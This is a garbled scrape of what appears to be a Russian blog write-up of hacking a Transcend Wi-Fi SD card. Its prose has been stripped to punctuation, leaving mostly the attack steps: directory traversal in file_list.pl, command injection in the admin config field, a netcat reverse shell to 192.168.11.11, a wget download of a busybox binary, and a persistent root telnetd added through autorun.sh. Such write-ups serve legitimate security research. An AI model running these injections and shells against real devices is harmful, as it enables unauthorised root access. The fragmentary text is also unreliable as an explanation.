If mobile apps are so bad, then the web interface is no better ... maybe it's full of bugs that can be used to your advantage.
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
?dir=/www/sd/../..
, /
, !
/www/sd
, "../". . , , , !
open("cat /etc/passwd |")
. open() , , . , .
kcard_upload.pl
:
kcard_upload.pl
, cgi-bin
. . facepalm: , ! ?
kcard_upload.pl
, , $basename
.
$basename
, GetBasename($upfile)
. $upfile
( ). , , HTML . , GetBasename
. ( «» ../../ ) .
$basename
, .. , , .
kcard_upload.pl
PNG, JPG, BMP GIF .
"\"
. /\.GIF$/
, /.GIF/
, , , /hi/helPNGlo/asdf.something
. !
GetBasename()
$basename
. GetBasename()
. /path/to/file.txt
file.txt
. , - "../../bin/our-malicious.script"
, "our-malicious.script"
DCIM/198_WIFI/
GetBasename()
, .
/////\////
////
../DCIM/198_WIFI
, /www/cgi-bin
, ( ../sd/DCIM/198_WIFI
). , . . , ( , ?). , . - .
kcard_upload.pl
, wifi_upload
, HTTP POST .)
system()
— shell perl . system()
.pl .cgi , , . shell perl — qx{}
, . , — , qx{}
. , , shell . ! .. shell , .
kcard_save_config_insup.pl
, :
$update_auth
, $LOGIN_USR
$LOGIN_PWD
. , . ! , «Settings». 192.168.11.254/kcard_edit_config_insup.pl
. . , , ! -, , shell $update_path
. , . , # ( ), > /mnt/mtd/config/ia.passwd
.
admin; echo haxx > /tmp/hi.txt #
/tmp
, . .
/usr/bin
, shell: netcat (nc), telnet . shell , , , shell (, ). , — Netcat:
nc 192.168.11.11 1337 -e /bin/bash
admin; nc 192.168.11.11 1337 -e /bin/bash #
. . telnet . ? nc, telnet /usr/bin
, ! busybox SD Linux. . , telnet netcat stdout stderr /tmp/hi.txt, : nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt
. hi.txt, : nc: applet not found
, nc. ! , ? ! :)
wget
transcend- , . busybox :))) , , busybox http://busybox.net/downloads/binaries/latest/, busybox-armv5l wget 192.168.11.11/busybox-armv5l
, /www/cgi-bin
. chmod a+x /www/cgi-bin/busybox-armv5l
, .
nc -vv -l 1337
, SD /www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash
. busybox , /www/cgi-bin/busybox-armv5l
shell ! , /www/cgi-bin/busybox-armv5l id
, root-!
kcard_login.pl
, , . wsd.conf javascript . , . javascript!
autorun_fu.sh
autorun.sh
. . , Transcend!
autorun.sh
), busybox-armv5l , telnet
:
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &
Source: https://habr.com/ru/post/191742/